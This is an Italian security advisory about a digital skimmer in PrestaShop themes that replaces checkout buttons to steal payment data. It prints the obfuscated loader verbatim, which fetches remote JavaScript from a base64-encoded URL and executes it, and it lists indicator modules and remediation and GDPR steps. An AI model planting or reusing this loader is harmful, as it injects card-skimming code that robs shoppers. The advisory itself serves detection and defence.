Abbiamo recentemente identificato una minaccia alla sicurezza che riguarda alcuni negozi online dell’ecosistema PrestaShop. È stato rilevato uno script dannoso ("digital skimmer") che potrebbe aver causato il furto delle informazioni di pagamento di alcuni dei vostri clienti.
Cosa fa questo digital skimmer?
Questo malware funziona sostituendo i pulsanti di pagamento legittimi nella pagina di checkout con pulsanti fraudolenti. Quando un cliente clicca su uno di questi falsi pulsanti, viene reindirizzato a un modulo di pagamento contraffatto progettato per catturare le sue informazioni di pagamento.
Lo skimmer viene semplicemente caricato tramite un tag <script>, scritto direttamente nel file _partials/head.tpl del tema attivo del negozio. Questo significa che l’attaccante è riuscito a modificare un file del negozio.
Come verificare se il mio negozio è stato colpito?
Nel front-office
Potete controllare il codice del vostro front-office ispezionando una pagina del vostro sito (clic destro, poi "ispeziona"). Guardate all’interno del tag <script>: se trovate il seguente codice, significa che il vostro negozio è stato compromesso:
<script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>
Nota: la parte aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz cambia ogni volta, ma la struttura del codice rimane la stessa e la funzione atob() viene sempre utilizzata. Del codice può essere presente prima o dopo (lo skimmer cerca di nascondersi risultando leggermente diverso in ogni negozio).
Sul vostro server
Per controllare nei vostri file:
1. Potete trovare lo stesso tag script in un file sul vostro server. Collegatevi al vostro server tramite FTP, quindi navigate nella cartella theme, poi nella cartella del tema attivo > cartella template > _partial > head.tpl. Su quest’ultimo file, fate clic destro e poi "visualizza/modifica", e cercate lo stesso tag:
<script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>
2. Sempre nei vostri file, se trovate il modulo "mloader" o "simplefilemanager" nella cartella "/modules/", significa anche che il vostro negozio è stato compromesso.
Cosa fare se il mio negozio è coinvolto?
- Cambiate le password per i diversi accessi (back-office, database, FTP, SSH, senza dimenticare di aggiornare l’accesso al database nel file di configurazione di PrestaShop).
- Controllate i vostri log per vedere se sono stati esfiltrati dati dei vostri clienti. In tal caso, sarà necessario sporgere denuncia presso la polizia e contattare il Garante della Privacy (CNIL).
- Consultate un professionista della sicurezza informatica per far verificare l’integrità del vostro sito. Solo un professionista può garantirvi la sicurezza del vostro negozio.
Devo avvisare i miei clienti?
In qualità di responsabili del trattamento ai sensi del GDPR, spetta a voi valutare l’esistenza di una violazione dei dati e, se del caso, effettuare le notifiche richieste. In conformità agli articoli 33 e 34 del GDPR, qualsiasi violazione che possa comportare un rischio per i diritti e le libertà deve essere notificata al Garante della Privacy (CNIL) entro 72 ore, e alle persone interessate in caso di rischio elevato (una guida pratica è disponibile sul sito della CNIL).
⚠️ A questo punto, vi raccomandiamo vivamente di effettuare una verifica completa della sicurezza dei vostri negozi PrestaShop e di assicurarvi che nessuno di essi sia stato compromesso.